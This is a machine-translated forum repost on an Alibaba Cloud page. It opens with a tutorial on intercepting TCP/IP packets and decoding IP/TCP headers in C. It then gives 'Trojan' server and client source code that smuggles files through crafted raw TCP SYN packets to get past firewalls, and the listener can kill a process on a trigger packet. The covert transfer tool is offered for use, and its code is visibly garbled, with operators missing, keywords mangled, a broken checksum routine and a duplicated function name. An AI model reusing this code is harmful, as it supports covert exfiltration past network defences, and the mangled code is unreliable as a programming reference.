Interception and Analysis of TCP/IP data packets (from the Security Focus Forum, original: ilsy)

Source: Internet
Author: User

Interception and Analysis of TCP/IP data packets (from the Security Focus Forum, original: ilsy)

The interception of TCP/IP data packets is a simple task. in Windows 2000/XP, the following method can be used to intercept TCP/IP data packets:
1. Establish rawsocket to intercept TCP/IP packets. Starting from Windows 2000, WinSock 2 supports the original socket, which can intercept all TCP/IP packets passing through the local machine and support dial-up networks, however, the interception of TCP/IP packets sent from the local machine is flawed. You can.
2. Use Winpcap developer's pack to intercept TCP/IP packets. This development kit works well in Windows 9x/NT/2000/XP and does not support dial-up networks. You can.
In Windows, TCP/IP packet interception is mostly achieved through these two methods. If you need to write a lightweight TCP/IP packet capture and analysis tool that only works in Windows 2000/XP, you can choose the first method, which is relatively simple, you do not need another driver. Otherwise, you need to select the second method or another method.
In Unix-like systems (such as Linux), Libpcap (http://www.tcpdump.org/) is usually used to intercept TCP/IP packets, it can work in a variety of operating systems.

You can search for the Demo code of many TCP/IP packet interceptions in windows on the Internet, and find many open-source projects in Linux, it is even a complex and fully-functional large-scale TCP/IP packet capture project.

It is difficult and difficult to analyze TCP/IP data packets. First of all, this analysis is based on the understanding of TCP/IP protocol family, if you do not understand, the TCP-IP detailed Volume 1: Protocol is the first book to read, if you are too lazy to read it, do not mention any analysis.
After intercepting a TCP/IP packet, the IP protocol is first isolated (IP "Internet Protocol" is the most core protocol in the TCP/IP protocol family, all TCP, UDP, ICMP, and IGMP data are transmitted in IP datagram format). You can obtain a lot of key data from the IP protocol header, for example, the length of the IP header, source IP address, destination IP address, and TCP/IP protocol type. The following code implements this function:

Typedef struct _ ip_header // defines the IP Header
{
Unsigned char h_lenver; // 4-bit Header Length + 4-bit IP version number
Unsigned char TOS; // an 8-bit service type TOS
Unsigned short total_len; // The total length of 16 bits (in bytes)
Unsigned short ident; // 16-bit ID
Unsigned short frag_and_flags; // 3-Bit Flag bit + 13-bit offset
Unsigned char TTL; // 8-bit TTL
Unsigned char proto; // 8-bit protocol (TCP, UDP, or other)
Unsigned short checksum; // 16-bit IP header checksum
Unsigned int sourceip; // 32-bit source IP address
Unsigned int destip; // 32-bit destination IP address
} Ip_header;

Typedef struct _ tcp_header // defines the TCP Header
{
Ushort th_sport; // 16-bit Source Port
Ushort th_dport; // 16-bit destination port
Uint th_seq; // 32-bit serial number
Uint th_ack; // 32-bit confirmation number
Uchar th_lenres; // 4-bit header length/6-bit reserved words
Uchar th_flag; // 6-digit flag
Ushort th_win; // 16-bit window size
Ushort th_sum; // 16-bit checksum
Ushort th_urp; // 16-bit emergency data offset
} Tcp_header;

Unsigned short decodeipheader (char * BUF) // The IP Address Header decoding function (get the length of the IP address header, and obtain other content in a similar way)
{
Ip_header * ipheader;
Unsigned short ipheaderlen;

Ipheader = (ip_header *) BUF;
Ipheaderlen = sizeof (unsigned long) * (ipheader-> h_lenver & 0xf );

Return ipheaderlen;
}

Well, now we have obtained the length of the IP header, and other data such as the protocol type can be obtained in a similar way. Assuming that the protocol type is TCP, the data of the TCP protocol (TCP is a reliable end-to-end protocol) header can be separated from the data packet, obtain a lot of key data from the TCP Header, such as the source port, destination port, data offset, and control bit. From the target port, we can simply (but not necessarily accurately) determine what protocol the following data is, for example, if the port is 80, the HTTP protocol and port 21 are FTP (HTTP, FTP, and other protocols are implemented based on TCP ).

Unsigned short decodeipheader (char * BUF) // The TCP Header decoding function (get the destination port, and obtain other content in a similar way)
{
Tcp_header * tcpheader;
Unsigned short ipheaderlen;

Ipheaderlen = decodeipheader (BUF );
Tcpheader = (tcp_header *) (BUF + ipheaderlen );

Return tcpheader-> th_dport;
}

Obtain all required data in a similar way. A normal TCP connection always starts from a three-way handshake. That is to say, the data offset of the first three data packets is 0, and the three-way handshake is completed through the control bit. The next step is to analyze the next data, and there will be a lot of changes in the next data. Generally, the decoder function is required for each protocol, the port and data mark can be used to determine the protocol data packet. For example, the SMB protocol starts with the 0xff and SMB mark. Of course, the first condition is that the Protocol is known and made public. If a protocol is not made public, therefore, it is more complicated and troublesome to analyze network applications using this Protocol to determine the protocol structure and write corresponding decoding functions, more knowledge is required, which is not the problem to be solved in this article.

I have not found any public source code for decoding functions of various protocols in windows. However, if you have time and patience, you can refer to the open-source projects in Linux below, it may be helpful for compiling your own protocol decoding. For example:

Http://www.cpan.org/authors/id/T/TI/TIMPOTTER/NetPacket-0.03.tar.gz
This module is used to decode basic IP/TCP/UDP packets. It removes various protocol headers and extracts various fields.

Http://www.ethereal.com/download.html
Ethereal is an open-source project with powerful data capture and analysis tools.

Trackback: http://tb.blog.csdn.net/TrackBack.aspx? Postid = 398259

 

By sending TCP packets to implement file transfer, most firewalls can be penetrated. For more information about the principle, see xfocus. CHM.
The following program is just a demo. If it is a large server, you can optimize it on your own. Otherwise, the CPU usage is very high. You can modify it.
The webshell protocol is used to enable sniffing. Although the webshell startup code is also circulating on the Internet, it is all server-side. I published the client code, which is relatively simple.

Server:

/*
Send File with raw sockets v 0.0.5
By wzt
*/
# Include stdio. h>
# Include unistd. h>
# Include fcntl. h>
# Include string. h>
# Include sys/socket. h>
# Include sys/types. h>
# Include netinet/in. h>
# Define Max size 65535
# Define datasize 1024
# Deprecision seq 12345
# Define trojan_id 6789
# Define iplen sizeof (struct iphdr)
# Define tcplen sizeof (struct tcphdr)
# Define packlen sizeof (struct iphdr) sizeof (struct tcphdr) sizeof (unsigned INT) strlen (Trojan. Data)
# Define pselen sizeof (struct resume HDR)
# Define trojanlen sizeof (unsigned INT) strlen (Trojan. Data)
Struct iphdr
{
Unsigned char h_verlen;
Unsigned char TOS;
Unsigned short total_len;
Unsigned short ident;
Unsigned short frag_and_flags;
Unsigned char TTL;
Unsigned char proto;
Unsigned short checksum;
Unsigned int sourceip;
Unsigned int destip;
};
Struct tcphdr {
Unsigned short th_sport;
Unsigned short th_dport;
Unsigned int th_seq;
Unsigned int th_ack;
Unsigned char th_lenres;
Unsigned char th_flag;
Unsigned short th_win;
Unsigned short th_sum;
Unsigned short th_urp;
};
Struct resume HDR {
Unsigned long saddr;
Unsigned long daddr;
Unsigned char reserved;
Unsigned char proto;
Unsigned short Len;
};
Struct trojan_packet {
Unsigned int trojan_id;
Unsigned int datalen;
Char data [datasize];
};
Void usage (char * pro );
Unsigned short in_cksum (unsigned short * ADDR, int Len );
Int tcpsend (char * src_ip, char * src_port, char * dst_ip, char * dst_port, char * data );
Void usage (char * pro)
{
Fprintf (stdout, "% s/n", Pro );
Exit (0 );
}
Unsigned short in_cksum (unsigned short * ADDR, int Len)
{
Register int sum = 0;
Register u_short * w = ADDR;
Register int nleft = Len;
U_short value = 0;
While (nleft> 1 ){
Sum = * W;
Nleft-= 2;
}
If (nleft = 1 ){
* (U_char *) (& Value) = * (u_char *) W;
Sum = value;
}
Sum = (sum> 16) (sum & 0 xFFFF );
Sum = (sum> 16 );
Return value;
}
Int tcpsend (char * src_ip, char * src_port, char * dst_ip, char * dst_port, char * Data)
{
Struct iphdr IP address;
Struct tcphdr TCP;
Struct upload HDR pseudo HDR;
Struct trojan_packet Trojan;
Struct sockaddr_in remote;
Char data_buf [maxsize];
Int sock_id;
Int data_len;
Int flag = 1;
Int s_len;
If (sock_id = socket (af_inet, sock_raw, ipproto_tcp)-1 ){
Perror ("[-] socket ");
Exit (1 );
}
If (setsockopt (sock_id, ipproto_ip, ip_hdrincl, (char *) & flag, sizeof (FLAG) 0 ){
Perror ("[-] setsockopt ");
Exit (1 );
}
Trojan. trojan_id = htons (trojan_id );
Data_len = strlen (data );
Strcpy (Trojan. Data, data );
Trojan. datalen = data_len;

IP. h_verlen = (4 4 | sizeof (struct iphdr)/sizeof (unsigned long ));
IP. TOS = 0;
IP. total_len = htons (packlen );
IP. frag_and_flags = 0x40;
IP. ident = 13;
IP. TTL = 255;
IP. proto = ipproto_tcp;
IP. sourceip = inet_addr (src_ip );
IP. destip = inet_addr (dst_ip );
IP. checksum = 0;
TCP. th_sport = htons (atoi (src_port ));
TCP. th_dport = htons (atoi (dst_port ));
TCP. th_seq = htonl (SEQ );
TCP. th_ack = htonl (0 );
TCP. th_lenres = (sizeof (struct tcphdr)/4 4 | 0 );
TCP. th_flag = 2;
TCP. th_win = htons (512 );
TCP. th_sum = 0;
TCP. th_urp = 0;
Pseudo HDR. saddr = IP. sourceip;
Pseudo HDR. daddr = IP. destip;
Pseudo HDR. Reserved = 0;
Pseudo HDR. proto = IP. proto;
Pseudo HDR. Len = htons (tcplen trojanlen );
Memcpy (data_buf, & pseudo, pselen );
Memcpy (data_buf pselen, & TCP, tcplen );
Memcpy (data_buf pselen tcplen, & Trojan, trojanlen );

TCP. th_sum = in_cksum (unsigned short *) data_buf, (pselen tcplen trojanlen data_len ));

Memcpy (data_buf, & IP, iplen );
Memcpy (data_buf iplen, & TCP, tcplen );
Memcpy (data_buf iplen tcplen, & Trojan, trojanlen );
Remote. sin_family = af_inet;
Remote. sin_port = TCP. th_dport;
Remote. sin_addr.s_addr = IP. destip;
If (s_len = sendto (sock_id, data_buf, packlen, 0, (struct sockaddr *) & remote, sizeof (struct sockaddr) 0 ){
Perror ("[-] sendto ");
Exit (1 );
}
Printf ("[] packet successfuly sending % d size./N", s_len );
// Printf ("% s", Trojan. data );
Close (sock_id );
}
Int main (INT argc, char ** argv)
{
Char buffer [datasize] = {0 };
Char temp [datasize];
Int FD;
Int fd1;
Int n_char;
If (argc 6) usage (argv [0]);
If (FD = open (argv [5], o_rdonly) 0 ){
Perror ("[-] Open ");
Exit (1 );
}
While (n_char = read (FD, buffer, datasize)> 0 ){
Buffer [n_char] = 0;
Tcpsend (argv [1], argv [2], argv [3], argv [4], buffer );
}
Close (FD );
Printf ("[] Done./N ");
Return 0;
}
Client:

/*
Recv file from raw sockets v 0.0.5
By wzt
*/
# Include stdio. h>
# Include sys/socket. h>
# Include sys/types. h>
# Include netinet/in. h>
# Include signal. h>
# Define debug
# Define datasize 1024
# Deprecision seq 12345
# Define trojan_id 6789
# Define packetlen sizeof (struct iphdr) sizeof (struct tcphdr) sizeof (struct trojan_packet)
# Define Port 61
# Define PID 14844
Struct iphdr
{
Unsigned char h_verlen;
Unsigned char TOS;
Unsigned short total_len;
Unsigned short ident;
Unsigned short frag_and_flags;
Unsigned char TTL;
Unsigned char proto;
Unsigned short checksum;
Unsigned int sourceip;
Unsigned int destip;
};
Struct tcphdr {
Unsigned short th_sport;
Unsigned short th_dport;
Unsigned int th_seq;
Unsigned int th_ack;
Unsigned char th_lenres;
Unsigned char th_flag;
Unsigned short th_win;
Unsigned short th_sum;
Unsigned short th_urp;
};
Struct trojan_packet {
Unsigned int trojan_id;
Unsigned int datalen;
Char data [datasize];
};
Struct tpacket {
Struct iphdr IP address;
Struct tcphdr TCP;
Struct trojan_packet Trojan;
};
Void usage (char * Help );
Void wait_tcp_signal (int fd );
Void usage (char * pro)
{
Fprintf (stdout, "Usage: % s/n", Pro );
Exit (0 );
}
Void wait_tcp_signal (int fd)
{
Struct tpacket * packet;
Int sock_id;
Int r_len;
Packet = (struct tpacket *) malloc (packetlen );
If (packet = NULL ){
Printf ("[-] malloc packet ");
Exit (1 );
}
Signal (sigchld, sig_ign );
While (1 ){
If (sock_id = socket (af_inet, sock_raw, ipproto_tcp) 1 ){
Perror ("[-] socket ");
Exit (0 );
}
Printf ("[]! Waiting signal !!. /N ");

While (1 ){
Memset (packet, 0, sizeof (struct tpacket ));
R_len = read (sock_id, packet, sizeof (struct tpacket) datasize );
# Ifdef debug
Printf ("[] Recv a signal % d size/N", r_len );
# Endif
If (packet-> ip. proto = ipproto_tcp ){
If (ntohs (packet-> TCP. th_dport) = port ){
Printf ("[]! Found port./N ");
Kill (PID, sigkill );
Printf ("[} kill pid OK./N ");
Break;
}
If (ntohl (packet-> TCP. th_seq) = seq & Packet-> TCP. th_flag = 2 & ntohs (packet-> Trojan. trojan_id) = trojan_id ){
# Ifdef debug
Printf ("[] Start ====================================== =================== []/n ");
Printf ("[] Trojan. ID: % d/N", ntohs (packet-> Trojan. trojan_id ));
Printf ("[] Source ip addr: % s/n", inet_ntoa (packet-> ip. sourceip ));
Printf ("[] source port: % d/N", ntohs (packet-> TCP. th_sport ));
Printf ("[] DEST port: % d/N", ntohs (packet-> TCP. th_dport ));
Printf ("[] dest ip: % s/n", inet_ntoa (packet-> ip. destip ));
Printf ("[] data: % d/N", packet-> Trojan. datalen );
Printf ("[] End ====================================== =================== []/n ");
# Endif
Write (FD, packet-> Trojan. Data, packet-> Trojan. datalen );
}
}
}
Close (sock_id );
}
}
Int main (INT _ argc, char ** _ argv)
{
Int FD;
If (_ argc = 1) usage (_ argv [0]);
If (FD = creat (_ argv [1], 0777)-1 ){
Perror ("[-] creat ");
Exit (1 );
}
Wait_tcp_signal (FD );
Close (FD );
Return 0;
}

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.